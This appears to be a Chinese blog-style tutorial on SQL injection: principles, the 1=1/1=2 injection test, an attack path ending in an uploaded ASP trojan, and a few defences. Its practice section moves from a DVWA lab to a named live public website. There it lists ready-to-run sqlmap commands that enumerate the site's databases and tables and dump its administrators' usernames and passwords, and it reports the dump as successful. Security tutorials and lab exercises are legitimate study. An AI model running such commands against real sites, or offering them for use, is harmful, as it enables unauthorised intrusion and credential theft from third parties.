SQL注入攻击的特点
① Web应用程序没有对用户输入进行合法性验证而产生SQL注入漏洞( “空格”的存在和使用);
② 攻击者通过构造特殊的SQL语句,将指令插入系统原始的SQL查询语句中并执行它;
③ 获取数据库的敏感信息,甚至获取主机的控制权。
SQL注入攻击具有广泛性。
原理
SQL注入的原理
① 地址http://127.0.0.1/inject.asp?dbtype=sql&id=1对应的SQL语句为:SqlStr = “select * from admin where id=” + id,程序没有判断id的内容,默认为一个数字。
② 黑客构造URL:http://127.0.0.1/inject.asp?dbtype=sql &id=1%20or%201=1(%20是空格符的编码),填入空格的内容变成1 or 1=1,它等价于:select * from admin,就能查出admin表中所有记录。
③ 这是最简单的SQL注入攻击,各种精妙复杂的语句还可以操纵数据库甚至操作系统
SQL攻击的思路
① 发现SQL注入位置;
② 判断后台数据库类型;
③ 确定XP-cmdshell可执行情况;
④ 发现Web虚拟目录;
⑤ 上传ASP木马;
⑥ 得到管理员权限。
判断能否注入Web程序的方法
经典的1=1、1=2判断方法,打开页面如下:
① http://127.0.0.1/inject.asp?dbtype=sql&id=1
② http://127.0.0.1/inject.asp?dbtype=sql&id=1 and 1=1
③ http://127.0.0.1/inject.asp?dbtype=sql&id=1 and 1=2
可以注入的表现:
① 正常显示(这是必然的,不然程序就有错误了)。
② 正常显示,内容与①相同。
③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next),总之与①不同。
SQL注入攻击的防范
① 防注脚本:用instr()函数屏蔽掉所有的敏感字符
② 更改IIS设置:无论Web程序运行出错类型,服务器都只提示HTTP 500错误
③ 将管理员和用户的权限最小化
实践
1.使用sqlmap对DVWA进行攻击
DVWA是非常优秀的用于sqlmap的靶机,安装见:https://blog.csdn.net/weixin_39938635/article/details/82903128
错误处理:https://blog.csdn.net/xavierdarkness/article/details/75040716
攻击范文:https://blog.csdn.net/AsNeverBefore/article/details/75208138#41-使用sqlmap注入dvwa的sql-injection菜单
2.使用sqlmap进行对www.bible-history.com的攻击
参考https://blog.csdn.net/vala0901/article/details/71548954
浏览器输入http://www.bible-history.com/subcat.php?id=2
查看它的数据库列表,查看能否进行注入:
sqlmap -u "http://www.bible-history.com/subcat.php?id=2" --dbs
注入的结果表示:
(1)注入参数id为GET注入,注入类型有三种,分别是:boolean-based blind/time-based blind/union query
(2)web应用程序技术为:Apache 2.4.34 PHP7.0.32
(3)数据库类型:MySQL
(4)最后列出了网址所有的数据库名单
查看web当前使用的数据库:
sqlmap -u "http://www.bible-history.com/subcat.php?id=2" --current-db
注意到倒数第五行,current database 为bible_history ,就针对这个数据库搞一搞。
探测web数据库使用的账号:
sqlmap -u "http://www.bible-history.com/subcat.php?id=2" --current-user
可见当前的数据库使用账户为:rusty@localhost
探测bible_history这个数据库里的所有表:
sqlmap -u "http://www.bible-history.com/subcat.php?id=2" -D bible_history --tables
探测的是administrators表的列
sqlmap -u "http://www.bible-history.com/subcat.php?id=2" -D bible_history -T administrators --columns
拖库吧!
sqlmap -u "http://www.bible-history.com/subcat.php?id=2" -D bible_history -T administrators -C admin_id,admin_username,admin_password --dump
拖库成功。